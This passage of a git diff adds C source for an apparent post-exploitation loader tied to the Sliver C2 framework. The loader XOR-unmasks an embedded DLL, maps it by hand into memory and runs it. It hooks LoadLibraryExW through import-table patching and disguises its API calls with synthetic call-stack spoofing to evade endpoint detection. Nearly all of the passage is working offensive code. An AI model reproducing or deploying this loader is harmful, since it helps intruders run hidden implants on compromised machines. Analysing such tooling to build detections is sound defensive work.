!= 0 ) + { + IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); + DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); + + /* is the imported function LoadLibraryExW? */ + if ( func_hash == LOADLIBRARYEXW_HASH ) + { + /* yep, hook it */ + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) + { + first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); + KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect); + } + } + + ++original_first_thunk; + ++first_thunk; + } + + import_descriptor++; + } + } + + /* now return the module */ + return module; +} + +HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + HMODULE module = ( HMODULE ) spoof_call ( &call ); + + /* was this mscoree.dll? */ + if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 ) + { + /* parse the module's headers */ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew ); + + /* get the import directory */ + IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); + + /* walk every imported module */ + while ( import_descriptor->Name != 0 ) + { + IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); + IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); + + /* walk every imported function */ + while ( original_first_thunk->u1.AddressOfData != 0 ) + { + IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); + DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); + + /* is the imported function LoadLibraryExW? */ + if ( func_hash == LOADLIBRARYEXW_HASH ) + { + /* yep, hook it */ + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) + { + first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); + KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect ); + } + } + + ++original_first_thunk; + ++first_thunk; + } + + import_descriptor++; + } + } + + /* now return the module */ + return module; +} + +LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flAllocationType ); + call.args [ 3 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( dwFreeType ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flNewProtect ); + call.args [ 3 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/loader.c b/crystal-kit-sliver/postex-loader/src/loader.c new file mode 100644 index 0000000..17ffa8e --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/loader.c @@ -0,0 +1,144 @@ +#include +#include "loader.h" +#include "tcg.h" +#include "memory.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); +char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); +char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); +char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) ); + +int __tag_setup_hooks ( ); +int __tag_setup_memory ( ); + +typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); +typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); + +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory ) +{ + DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = NULL; + void * section_dst = NULL; + DWORD section_size = 0; + DWORD new_protect = 0; + DWORD old_protect = 0; + + section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( int i = 0; i < section_count; i++ ) + { + section_dst = dst + section_hdr->VirtualAddress; + section_size = section_hdr->SizeOfRawData; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + /* set new permission */ + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + /* track memory */ + dll_memory->Sections[ i ].BaseAddress = section_dst; + dll_memory->Sections[ i ].Size = section_size; + dll_memory->Sections[ i ].CurrentProtect = new_protect; + dll_memory->Sections[ i ].PreviousProtect = new_protect; + + /* advance to section */ + section_hdr++; + } + + dll_memory->Count = section_count; +} + +void go ( void * loader_arguments ) +{ + /* populate funcs */ + IMPORTFUNCS funcs; + funcs.LoadLibraryA = LoadLibraryA; + funcs.GetProcAddress = GetProcAddress; + + /* load the pico */ + char * pico_src = GETRESOURCE ( _PICO_ ); + + /* allocate memory for it */ + char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + /* load it into memory */ + PicoLoad ( &funcs, pico_src, pico_code, pico_data ); + + /* make code section RX */ + DWORD old_protect; + KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + + /* begin tracking memory allocations */ + MEMORY_LAYOUT memory = { 0 }; + + memory.Pico.Data = pico_data; + memory.Pico.Code = pico_code; + + /* call setup_hooks to overwrite funcs.GetProcAddress */ + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs ); + + /* now load the dll (it's masked) */ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); + RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); + + /* load dll into memory and unmask it */ + char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + for ( int i = 0; i < masked_dll->len; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + LoadDLL ( &dll_data, dll_src, dll_dst ); + + /* track dll's memory */ + memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); + memory.Dll.Size = SizeOfDLL ( &dll_data ); + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); + + /* call setup_memory to give PICO the memory info */ + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory ); + + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + + /* Pointer to DLL arguments */ + char * dll_arguments = GETRESOURCE ( _DLLARGS_ ); + + /* free the unmasked copy */ + KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); + + entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments ); + // entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/loader.h b/crystal-kit-sliver/postex-loader/src/loader.h new file mode 100644 index 0000000..9454672 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/loader.h @@ -0,0 +1,6 @@ +#define GETRESOURCE(x) ( char * ) &x + +typedef struct { + int len; + char value [ ]; +} RESOURCE; \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/memory.h b/crystal-kit-sliver/postex-loader/src/memory.h new file mode 100644 index 0000000..f794803 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/memory.h @@ -0,0 +1,37 @@ +#define MAX_HEAP_RECORDS 32 +#define MAX_SECTIONS 16 + +typedef struct { + PVOID Data; + PVOID Code; +} PICO_MEMORY; + +typedef struct { + PVOID Address; + SIZE_T Size; +} HEAP_RECORD; + +typedef struct { + HEAP_RECORD Records [ MAX_HEAP_RECORDS ]; + SIZE_T Count; +} HEAP_MEMORY; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + DWORD CurrentProtect; + DWORD PreviousProtect; +} MEMORY_SECTION; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + MEMORY_SECTION Sections [ MAX_SECTIONS ]; + SIZE_T Count; +} DLL_MEMORY; + +typedef struct { + PICO_MEMORY Pico; + DLL_MEMORY Dll; + HEAP_MEMORY Heap; +} MEMORY_LAYOUT; diff --git a/crystal-kit-sliver/postex-loader/src/pico.c b/crystal-kit-sliver/postex-loader/src/pico.c new file mode 100644 index 0000000..bbe89db --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/pico.c @@ -0,0 +1,65 @@ +#include +#include "memory.h" +#include "spoof.h" +#include "cleanup.h" +#include "tcg.h" + +MEMORY_LAYOUT g_memory; + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); + +FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) +{ + /* lpProcName may be an ordinal */ + if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) + { + /* just resolve normally */ + return GetProcAddress ( hModule, lpProcName ); + } + + FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); + + /* + * result may still be NULL if + * it wasn't hooked in the spec + */ + if ( result != NULL ) { + return result; + } + + return GetProcAddress ( hModule, lpProcName ); +} + +void setup_hooks ( IMPORTFUNCS * funcs ) +{ + funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; +} + +void setup_memory ( MEMORY_LAYOUT * layout ) +{ + if ( layout != NULL ) { + g_memory = * layout; + } +} + +/* + * throw these hooks in here because + * sharing a global across multiple + * modules is still a bit of a headache + */ + +VOID WINAPI _ExitThread ( DWORD dwExitCode ) +{ + /* free memory */ + cleanup_memory ( &g_memory ); + + /* call the real exit thread */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwExitCode ); + + spoof_call ( &call ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/services.c b/crystal-kit-sliver/postex-loader/src/services.c new file mode 100644 index 0000000..1330a07 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/services.c @@ -0,0 +1,12 @@ +#include +#include "tcg.h" + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC patch_resolve ( DWORD mod_hash, DWORD func_hash ) +{ + HANDLE module = findModuleByHash ( mod_hash ); + return findFunctionByHash ( module, func_hash ); +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/spoof.c b/crystal-kit-sliver/postex-loader/src/spoof.c new file mode 100644 index 0000000..633a0e5 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/spoof.c @@ -0,0 +1,374 @@ +#include +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); + +#define TEXT_HASH 0xEBC2F9B4 +#define RBP_OP_INFO 0x5 + +typedef struct { + LPCWSTR DllPath; + ULONG Offset; + ULONGLONG TotalStackSize; + BOOL RequiresLoadLibrary; + BOOL SetsFramePointer; + PVOID ReturnAddress; + BOOL PushRbp; + ULONG CountOfCodes; + BOOL PushRbpIndex; +} STACK_FRAME; + +typedef enum { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, + UWOP_ALLOC_SMALL, + UWOP_SET_FPREG, + UWOP_SAVE_NONVOL, + UWOP_SAVE_NONVOL_FAR, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR, + UWOP_PUSH_MACHFRAME +} UNWIND_CODE_OPS; + +typedef unsigned char UBYTE; + +typedef union { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE; + +typedef struct { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode [ 1 ]; +} UNWIND_INFO; + +typedef struct { + PVOID ModuleAddress; + PVOID FunctionAddress; + DWORD Offset; +} FRAME_INFO; + +typedef struct { + FRAME_INFO Frame1; + FRAME_INFO Frame2; + PVOID Gadget; +} SYNTHETIC_STACK_FRAME; + +typedef struct { + FUNCTION_CALL * FunctionCall; + PVOID StackFrame; + PVOID SpoofCall; +} DRAUGR_FUNCTION_CALL; + +typedef struct { + PVOID Fixup; + PVOID OriginalReturnAddress; + PVOID Rbx; + PVOID Rdi; + PVOID BaseThreadInitThunkStackSize; + PVOID BaseThreadInitThunkReturnAddress; + PVOID TrampolineStackSize; + PVOID RtlUserThreadStartStackSize; + PVOID RtlUserThreadStartReturnAddress; + PVOID Ssn; + PVOID Trampoline; + PVOID Rsi; + PVOID R12; + PVOID R13; + PVOID R14; + PVOID R15; +} DRAUGR_PARAMETERS; + +extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); + +#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) + +void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) +{ + PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); + PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); + + frame->Frame1.ModuleAddress = frame1_module; + frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); + frame->Frame1.Offset = 0x17; + + frame->Frame2.ModuleAddress = frame2_module; + frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); + frame->Frame2.Offset = 0x2c; + + frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); +} + +BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) +{ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + + if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { + return FALSE; + } + + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); + + if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { + return FALSE; + } + + IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); + + for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) + { + DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); + + if ( h == TEXT_HASH ) + { + *virtual_address = section_header[ i ].VirtualAddress; + *size = section_header[ i ].SizeOfRawData; + + return TRUE; + } + } + + return FALSE; +} + +PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) +{ + UNWIND_INFO * unwind_info = NULL; + ULONG unwind_operation = 0; + ULONG operation_info = 0; + ULONG index = 0; + ULONG frame_offset = 0; + + STACK_FRAME stack_frame = { 0 }; + + if ( ! runtime_function ) { + return NULL; + } + + unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); + + while ( index < unwind_info->CountOfCodes ) + { + unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; + operation_info = unwind_info->UnwindCode[ index ].OpInfo; + + /* don't use switch as it produces jump tables */ + if ( unwind_operation == UWOP_PUSH_NONVOL ) + { + stack_frame.TotalStackSize += 8; + + if ( operation_info == RBP_OP_INFO ) + { + stack_frame.PushRbp = TRUE; + stack_frame.CountOfCodes = unwind_info->CountOfCodes; + stack_frame.PushRbpIndex = index + 1; + } + } + else if ( unwind_operation == UWOP_SAVE_NONVOL ) + { + index += 1; + } + else if ( unwind_operation == UWOP_ALLOC_SMALL ) + { + stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); + } + else if ( unwind_operation == UWOP_ALLOC_LARGE ) + { + index += 1; + frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; + + if (operation_info == 0) + { + frame_offset *= 8; + } + else + { + index += 1; + frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); + } + + stack_frame.TotalStackSize += frame_offset; + } + else if ( unwind_operation == UWOP_SET_FPREG ) + { + stack_frame.SetsFramePointer = TRUE; + } + else if ( unwind_operation == UWOP_SAVE_XMM128 ) + { + return NULL; + } + + index += 1; + } + + if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) + { + index = unwind_info->CountOfCodes; + + if ( 0 != ( index & 1 ) ) + { + index += 1; + } + + runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); + return calculate_function_stack_size ( runtime_function, image_base ); + } + + stack_frame.TotalStackSize += 8; + return ( PVOID ) ( stack_frame.TotalStackSize ); +} + +PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) +{ + RUNTIME_FUNCTION * runtime_function = NULL; + DWORD64 image_base = 0; + PUNWIND_HISTORY_TABLE history_table = NULL; + + if ( ! return_address ) { + return NULL; + } + + runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); + + if ( NULL == runtime_function ) { + return NULL; + } + + return calculate_function_stack_size ( runtime_function, image_base ); +} + +PVOID find_gadget( PVOID module ) +{ + BOOL found_gadgets = FALSE; + DWORD text_section_size = 0; + DWORD text_section_va = 0; + DWORD counter = 0; + ULONG seed = 0; + ULONG random = 0; + PVOID module_text_section = NULL; + + PVOID gadget_list [ 15 ] = { 0 }; + + if ( ! found_gadgets ) + { + if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { + return NULL; + } + + module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); + + for ( int i = 0; i < ( text_section_size - 2 ); i++ ) + { + /* x64 opcodes are ff 23 */ + if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) + { + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; + + if ( counter == 15 ) { + break; + } + } + } + + found_gadgets = TRUE; + } + + seed = 0x1337; + random = NTDLL$RtlRandomEx ( &seed ); + random %= counter; + + return gadget_list [ random ]; +} + +ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) +{ + int attempts = 0; + PVOID return_address = NULL; + + DRAUGR_PARAMETERS draugr_params = { 0 }; + + SYNTHETIC_STACK_FRAME frame; + init_frame_info ( &frame ); + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); + draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.BaseThreadInitThunkReturnAddress = return_address; + + if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); + draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.RtlUserThreadStartReturnAddress = return_address; + + if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + do + { + draugr_params.Trampoline = find_gadget ( frame.Gadget ); + draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); + + attempts++; + + if ( attempts > 15 ) { + return ( ULONG_PTR ) ( NULL ); + } + + } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); + + if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { + return ( ULONG_PTR ) ( NULL ); + } + + return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); +} + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ) +{ + /* very inelegant */ + if ( call->argc == 0 ) { + return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 1 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 2 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 3 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 4 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 5 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 6 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 7 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 8 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); + } else if ( call->argc == 9 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); + } else if ( call->argc == 10 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); + } else if ( call->argc == 11 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); + } else if ( call->argc == 12 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); + } else { + return ( ULONG_PTR ) ( NULL ); + } +} diff --git a/crystal-kit-sliver/postex-loader/src/spoof.h 